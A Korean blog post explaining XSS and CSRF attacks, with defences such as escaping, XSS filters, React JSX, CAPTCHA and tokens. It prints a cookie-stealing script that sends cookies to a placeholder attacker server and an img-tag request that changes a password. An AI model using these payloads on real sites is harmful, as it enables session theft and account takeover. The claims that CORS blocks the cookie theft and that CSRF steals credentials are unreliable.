본문 바로가기

programming/기타

XSS, CSRF 공격

XSS 공격

XSS(Cross Site Scripting) 공격은 웹 사이트의 관리자가 아닌 사람이 특정한 악성 스크립트를 삽입할 수 있는 공격이다. 

쉽게 말하면 다음과 같다.

게시판의 게시글

보안이 취약한 웹사이트에서 게시판에 글을 쓴다고 생각하자. 근데 어떤 악성 사용자가 게시글의 내용에 저런 스크립트를 작성했다고 생각하면, 저 게시글을 여는 순간 alert 함수가 막 실행된다는 것이다. 생각만해도 끔찍하다. 다른 예시를 보자

 

<script>
  let xmlHttp = new XMLHttpRequest();
  const url = "http://hackerServer.com/victimCookie=" + document.cookie;
  xmlHttp.open("GET", url);
  xmlHttp.send();
</script>

 

이번에는 위와 같이 해커의 서버로 피해자의 쿠키를 get 요청으로 보내버리는 경우도 있다. 쿠키에는 Session ID와 같은 사용자 로그인에 대한 정보를 갖고 있을 수 있고 해커는 Session ID를 이용해서 사용자의 정보를 탈취할 수 있다. 

이런 경우는 브라우저 버전을 최신으로 업데이트 하면 브라우저의 CORS(Cross Origin Resource Shaing) 정책으로 인해 기본적으로 외부로의 요청을 막아준다.

 

XSS 방지법

XSS를 방지하는 몇가지 방법이 있다. 

 

1. Chracter escaping 

 

예를 들면, '<script>' 태그를 쓰지 못하도록 Character로 치환해버리는 방식이다. 근데 직접 우리가 모든 태그를 막는 것은 쉽지 않은 일이므로 아래와 같은 프레임워크를 사용하는 것이 낫다.

 

2. Naver Lucy Filter 

 

Lucy filter

XSS 공격을 방지하는 오픈소스 필터이다. 자바의 경우에 사용하면 XSS 공격에 적절히 대응이 가능하다.

 

3. js-xss

 

js-xss, 굉장히 많이 쓰인다

 

자바스크립트의 경우에는 js-xss 필터가 있다. 

 

4. 리액트에서 jsx 사용

 

리액트에서는 jsx라는 특수한 방식의 문법을 사용한다. Javascript를 확장한 방식인데, jsx 방식을 사용하면 XSS 공격에 대해 대응할 수 있다.

 

const title = response.potentiallyMaliciousInput;
// 이것은 안전합니다.
const element = <h1>{title}</h1>;

// 기본적으로 React DOM은 JSX에 삽입된 모든 값을 렌더링하기 전에 이스케이프 하므로, 
// 애플리케이션에서 명시적으로 작성되지 않은 내용은 주입되지 않습니다. 
// 모든 항목은 렌더링 되기 전에 문자열로 변환됩니다. 
// 이런 특성으로 인해 XSS (cross-site-scripting) 공격을 방지할 수 있습니다.

CSRF 공격

 

CSRF(Cross Site Request Forgery) 공격은 사용자가 자신의 의지와는 무관하게 해커가 의도한 행위를 웹사이트에 요청하는 공격

사용자가 웹사이트를 이용할 때 쿠키와 세션이 만들어지는데 이는 사용자의 인증정보이다. 이 인증정보를 가지고 웹서버에 요청을 하면, 웹서버는 사용자라고 믿고 요청을 들어준다. 해커는 이 인증정보를 탈취해서 웹서버에 요청을 보내게 된다. 

실제로 2008년에는 옥션 개인정보 유출 사건에도 관리자 계정을 탈취하는데 CSRF 공격방법이 사용되었다고 한다.

 

해커는 먼저 CSRF 공격을 위해 사회공학 기법을 이용한 피싱 기법으로 사용자가 CSRF 공격이 포함된 코드를 읽게한다. 예를 들면 이메일에 중요한 정보라는 표시와 함께 CSRF 코드가 포함된 메일을 읽도록 하는 방법이 있는데, 만약 사용자가 웹사이트에 로그인이 된 채로 CSRF 공격 코드를 읽게 되면 해커는 인증정보를 얻게 되고, 이 인증정보를 이용해서 해당계정의 비밀번호를 바꾼다던지 그런 행위가 가능해진다.

 

인증정보 탈취 후 비밀번호 변경 요청

 

<img src="http://website.com/mypage?password_new=hacked&password_conf=hacked&action=change" />

 

예를 들면 사용자가 로그인 된 상태에서 위와 같은 태그가 있는 게시글이나 메일만 읽어도 비밀번호가 'hacked'로 변경이 되어버린다.

특히나 요즘은 브라우저를 사용할 때 탭을 여러개 사용하는 경우가 많으므로 사용자가 로그인이 된 상태일 때가 많다. 

따라서 이런 CSRF 공격에 대응하기 위해서는,

 

1. CAPTHA 를 사용한다. CAPTHA 인증을 통과하지 못하거나 하면 요청을 거부하도록 한다.

 

흔히 볼 수 있는 CAPTHA

 

2. 비밀번호 변경 프로세스에서 사용자만 알고 있는 값인 현재 비밀번호를 입력하라고도 할 수 있다.

 

 

사용자만 알고있는 값 이용

3. 토큰을 만들어서 비정상적인 접근을 차단할 수 있음

 

 

토큰 발행으로 비정상접근 차단

 

 

 

잘못된 내용이 있다면 지적 부탁드립니다!

 

 

참조

https://www.youtube.com/watch?v=LfI6TAchgT4 

 

https://www.youtube.com/watch?v=q4iTkMV_IJs 

https://ko.reactjs.org/docs/introducing-jsx.html

 

'programming > 기타' 카테고리의 다른 글

Destructure Swap과 temp 변수를 사용한 Swap의 차이  (0) 2021.06.22